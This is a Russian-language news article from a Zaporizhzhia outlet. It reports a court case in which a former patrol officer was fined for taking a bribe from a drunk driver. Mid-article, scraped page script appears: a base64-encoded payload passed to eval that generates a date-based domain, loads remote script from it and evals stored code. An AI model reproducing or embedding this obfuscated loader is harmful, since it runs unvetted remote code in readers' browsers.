В Запорожье полицейского судили за взятку, которую он назвал долгом от участника ДТП

Коммунарский районный суд приговором от 13 января назначил бывшему патрульном Евгению Михальчуку штраф за полученные 15 тысяч гривен взятки от водителя, которому пообещал не составлять протокол за нетрезвое вождение и не изымать авто, сообщают «Наші гроші».

Согласно материалам дела, полицейский сектора реагирования патрульной полиции №3 Запорожского районного отдела полиции Днепровского отдела Евгений Михальчук в начале 2018 года на месте ДТП (Ореховская трасса) согласился получить 1 тысячу долларов взятки от неуказанного участника аварии. За это он пообещал не составлять протокол за управление автомобилем в нетрезвом состоянии и не изымать автомобиль Mersedes-bens S класса на литовских номерах. Для подстраховки же полицейский забрал документы на машину и пообещал их вернуть после получения денег.

Через месяц возле торгового центра «Космос-сити» Евгений Михальчук получил часть взятки в 15 тысяч гривен. После полицейского задержали за соответствующим уголовным производством №42018080000000051 с квалификацией преступления — вымогательства неправомерной выгоды. Впоследствии прокуратура обратилась в суд с обвинительным актом.

Обвиняемый в суде свою вину не признал. Указывал, что его назначили на должность за месяц до указанных событий. На месте ДТП он тогда составил протокол в отношении самой аварии и постановление об управлении автомобилем без документов. Затем указанный водитель Мерседеса подошел к нему и попросил в долг 15 тысяч гривен — чтобы забрать свой автомобиль эвакуатором с места аварии.На что полицейский согласился. Вместе с напарником они повезли водителя в наркологический диспансер, и дорогой полицейский позвонил своему соседу, чтобы тот вынес из его квартиры 15 тысяч гривен. Эти деньги полицейский отдал водителю, а тот оставил ему техпаспорт на автомобиль и страховой полис. В наркодиспансере у водителя зафиксировали травмы и ушибы, но на состояние опьянения его не проверяли, поскольку соответствующих признаков у него не было. О долге полицейский водителю не напоминал, тот сам позвонил ему в феврале и предложил встретиться, чтобы вернуть деньги.

В конце концов, суд признал полицейского виновным и назначил ему 25,5 тысяч гривен штрафа и должностными ограничениями на 2 года. Аргументы защиты о признании недопустимыми доказательств суд отклонил (не указывалось какие именно), также указал, что непризнание вины патрульным направлено на избежание ответственности за взятку. Согласно обвинения, то судья сначала переквалифицировал преступление, потому что признаков вымогательства в деле он не увидел. Так, предложение предоставить взятку поступила от водителя. В дальнейшем патрульный ему не звонил и любых действий по вымогательству не совершал. Сам же водитель звонил полицейскому, но тот от встреч отказывался. Также именно водитель предложил полицейскому документы на машину в качестве залога. Собственно получение взятки суд подтвердил, опираясь, в частности, на видеозапись о передаче денег, помеченные деньги и смывы с рук и одежды Евгения Михальчука. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

Сам водитель указывал, что был пьяным, но всего лишь»выпил бутылочку пива». Протоколы в отношении него не составлялись, потому что он был на машине с еврономерами. На месте происшествия были патрульные и следователь. Он предложил следователю не ставить автомобиль на штрафплощадку (со штрафплощадки может забрать данный автомобиль только владелец — иностранец), на что полицейский показал ему «1» (1000 долларов). Деньги полицейский сказал передать патрульном Евгению Михальчуку. В то же время относительно следователя в судебном деле в дальнейшем никаких деталей не указывается.

Позже водитель предложил уже самому патрульном решить вопрос о непрохождении осмотра в наркодиспансере, на что тот согласился. В диспансере его осмотрел врач, но анализы и тесты он не проходил. На следующее утро водитель передал патрульному 5 тысяч гривен, также самостоятельно предложил тому взять документы на машину в качестве залога — пока он не передаст другую часть денег. В дальнейшем водитель обратился в отдел собственной безопасности полиции и впоследствии передал патрульному помеченные деньги.

В материалах дела также указывалось, что этому водителю все же назначили в суде штраф за нетрезвое вождение — 10 тыс грн, за вождение без документов — 425 грн и за ДТП — 340 грн. Также лишили его прав на управление автомобилем сроком 1 год.

Указанный патрульный в 2018 году подавал декларацию «перед увольнением». В приговоре указывается, что он официального места работы не имеет. (adsbygoogle = window.adsbygoogle || []).push({});

Подписывайтесь на Акцент в Источник: https://akzent.zp.ua/v-zaporozhe-politsejskogo-sudili-za-vzyatku-kotoruyu-on-nazval-dolgom-ot-uchastnika-dtp/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

нет
scroll to top